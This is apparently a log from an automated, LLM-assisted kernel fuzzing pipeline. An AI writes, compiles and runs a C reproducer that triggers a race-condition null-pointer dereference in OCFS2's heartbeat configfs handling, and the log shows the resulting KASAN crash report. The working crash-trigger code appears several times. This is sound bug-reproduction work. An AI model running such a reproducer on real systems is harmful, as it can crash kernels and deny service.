3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
	fput(reg->hr_bdev_file);
	reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.

To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race.

194/4 2026/09/04 20:59 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 8261
							output: 1771
							thoughts: 2110
						

Thoughts:
**My Thoughts on Reproducing the KASAN Null-Pointer Dereference in `fput`**

Okay, so the primary objective here is to craft a C reproducer for a KASAN null-pointer dereference that's occurring within the `fput` function. The root cause, as I understand it, is a race condition that manifests during `o2hb_region_dev_store`. My previous attempt unfortunately didn't hit the mark, primarily due to an incorrect sequence when initializing the OCFS2 node configuration.

I've carefully reviewed the feedback provided, and it's crystal clear on the necessary adjustments. My internal checklist now looks like this:

1.  **Correct Initialization Order:** The configuration attributes for the OCFS2 node (`ipv4_address`, `ipv4_port`, `num`, and `local`) absolutely *must* be written in that specific sequence. This is crucial for the internal logic to proceed as expected and avoid early exits or unexpected states that would prevent the race condition from being exposed.
2.  **Induce a Failure Path:** To guarantee that the code path leading to the `fput` vulnerability is actually taken, I need to deliberately introduce a discrepancy. Specifically, the value written to `block_bytes` must be different from the actual logical block size of the block device being used. The feedback highlights this – a `block_bytes` of, say, 1024 when the device's `sectsize` is 512. This mismatch is designed to trigger a specific error path (the `sectsize != reg->hr_block_bytes` condition), which then forces execution to the `out` label, where the vulnerable `fput()` call resides.
3.  **Maintain Concurrent Writes:** The core of the race condition involves concurrent writes to the `dev` attribute. So, it's essential that this part of the setup – opening the `dev` attribute twice and having separate threads continuously writing to it – remains intact.

With these points firmly in mind, I've gone ahead and drafted the updated C code. I've implemented the corrected initialization order for the node configuration as specified. I've also ensured that the `block_bytes` value is set to be different from the block device's logical block size, thereby forcing the desired failure path. The concurrent thread structure for writing to the `dev` attribute is preserved.

Looking back at the feedback, it specifically mentioned: "The reproducer attempts to write the `num` attribute before `ipv4_address` and `ipv4_port`." This was precisely the flaw in the earlier version. My current code rectifies this by writing `ipv4_address` and `ipv4_port` *before* `num`, and then `local` as the final step.

I've double-checked all the requirements against the code.
*   The initialization order is fixed: `ipv4_address`, `ipv4_port`, `num`, and `local` (set to 1).
*   The failure path is forced by ensuring `block_bytes` (e.g., 1024) differs from the block device's `sectsize` (typically 512), leading to the `fput` call.
*   The concurrent writes to the `dev` attribute are maintained.

Everything appears to be in order. I'm confident this version will successfully reproduce the KASAN null-pointer dereference in `fput`. I'm ready to submit this updated reproducer.


195/4 2026/09/04 20:59 tool set-results
0m Args:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}
]

Results:
map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}
]

196/3 2026/09/04 20:59 loop
0m
197/4 2026/09/04 20:59 iteration 0
0m
198/5 2026/09/04 20:59 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}
]

199/5 2026/09/04 20:59 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>

#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(1, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);

    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int write_file(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) {
        printf("[-] Failed to open %s: %s\n", path, strerror(errno));
        return -1;
    }
    int len = strlen(val);
    int res = write(fd, val, len);
    if (res < 0) {
        printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
        close(fd);
        return -1;
    }
    close(fd);
    printf("[+] Wrote '%s' to %s\n", val, path);
    return 0;
}

int main(void) {
    int res;

    // 1. Mount configfs
    res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
    if (res < 0 && errno != EBUSY) {
        printf("[-] Failed to mount configfs: %s\n", strerror(errno));
    } else {
        printf("[+] configfs mounted or already mounted.\n");
    }

    // 2. Create cluster
    if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mycluster.\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created mynode.\n");

    // Fix initialization order: address and port must be set before num
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");

    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
        // ignore
    }
    if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Created myregion.\n");

    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
            exit(1);
        }
    }
    printf("[+] Opened block device, fd=%d\n", dev_fd);

    snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    int sectsize = 512;
    if (ioctl(dev_fd, BLKSSZGET, &sectsize) < 0) {
        printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
    }
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char block_bytes_str[32];
    snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
    write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);

    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        printf("[-] Failed to open dev attr: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened dev attr twice.\n");

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    printf("[+] Threads started. Waiting for crash...\n");
    sleep(5);

    return 0;
}
]

200/5 2026/09/04 20:59 action If
0m Args:
map[CompilerError:]

201/3 2026/09/04 21:00 action run-c-repro
1m Results:
map[CandidateBugTitle:KASAN: null-ptr-deref Write in fput CandidateCrashReport:(syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x30/0xd0 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor369/5835

CPU: 1 UID: 0 PID: 5835 Comm: syz-executor369 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x30/0xd0 fs/file_table.c:588
 o2hb_region_dev_store+0x70b/0x1330 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x337/0x430 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x612/0xba0 fs/read_write.c:687
 ksys_pwrite64 fs/read_write.c:794 [inline]
 __do_sys_pwrite64 fs/read_write.c:802 [inline]
 __se_sys_pwrite64 fs/read_write.c:799 [inline]
 __x64_sys_pwrite64+0x196/0x220 fs/read_write.c:799
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f00c717be4e
Code: 08 0f 85 05 e3 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f00c6925128 EFLAGS: 00000246 ORIG_RAX: 0000000000000012
RAX: ffffffffffffffda RBX: 00007f00c69256c0 RCX: 00007f00c717be4e
RDX: 0000000000000002 RSI: 00007f00c71fbb20 RDI: 0000000000000005
RBP: 0000000000000021 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000011 R14: 00007ffc23fbaef0 R15: 00007ffc23fbafd8
 </TASK>
==================================================================
 CandidateReproduced:true ConsoleOutput:[   61.946612][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   61.946621][   T33] audit: type=1400 audit(1788555666.426:201): avc:  denied  { transition } for  pid=5819 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.956299][   T33] audit: type=1400 audit(1788555666.436:202): avc:  denied  { noatsecure } for  pid=5819 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.964330][   T33] audit: type=1400 audit(1788555666.436:203): avc:  denied  { rlimitinh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   61.970604][   T33] audit: type=1400 audit(1788555666.436:204): avc:  denied  { siginh } for  pid=5819 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:7215' (ED25519) to the list of known hosts.
[   63.988983][   T33] audit: type=1400 audit(1788555668.466:205): avc:  denied  { mounton } for  pid=5832 comm="syz-executor369" path="/sys/kernel/config" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   63.998170][   T33] audit: type=1400 audit(1788555668.466:206): avc:  denied  { mount } for  pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   64.002137][ T5832] audit: audit_backlog=65 > audit_backlog_limit=64
[   64.006189][   T33] audit: type=1400 audit(1788555668.466:207): avc:  denied  { search } for  pid=5832 comm="syz-executor369" name="/" dev="configfs" ino=68 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.007879][ T5832] audit: audit_lost=1 audit_rate_limit=0 audit_backlog_limit=64
[   64.015184][   T33] audit: type=1400 audit(1788555668.466:208): avc:  denied  { search } for  pid=5832 comm="syz-executor369" name="cluster" dev="configfs" ino=168 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   64.023145][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.025746][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.030691][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.035179][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.038975][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.042927][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.042940][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.047127][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.050949][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.054721][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.058599][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.062081][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.065935][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.069879][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.073592][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.077453][ T5834] (syz-executor369,5834,0):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
[   64.081017][ T5835] (syz-executor369,5835,1):o2hb_region_dev_store:1827 ERROR: blocksize 1024 incorrect for device, expected 512
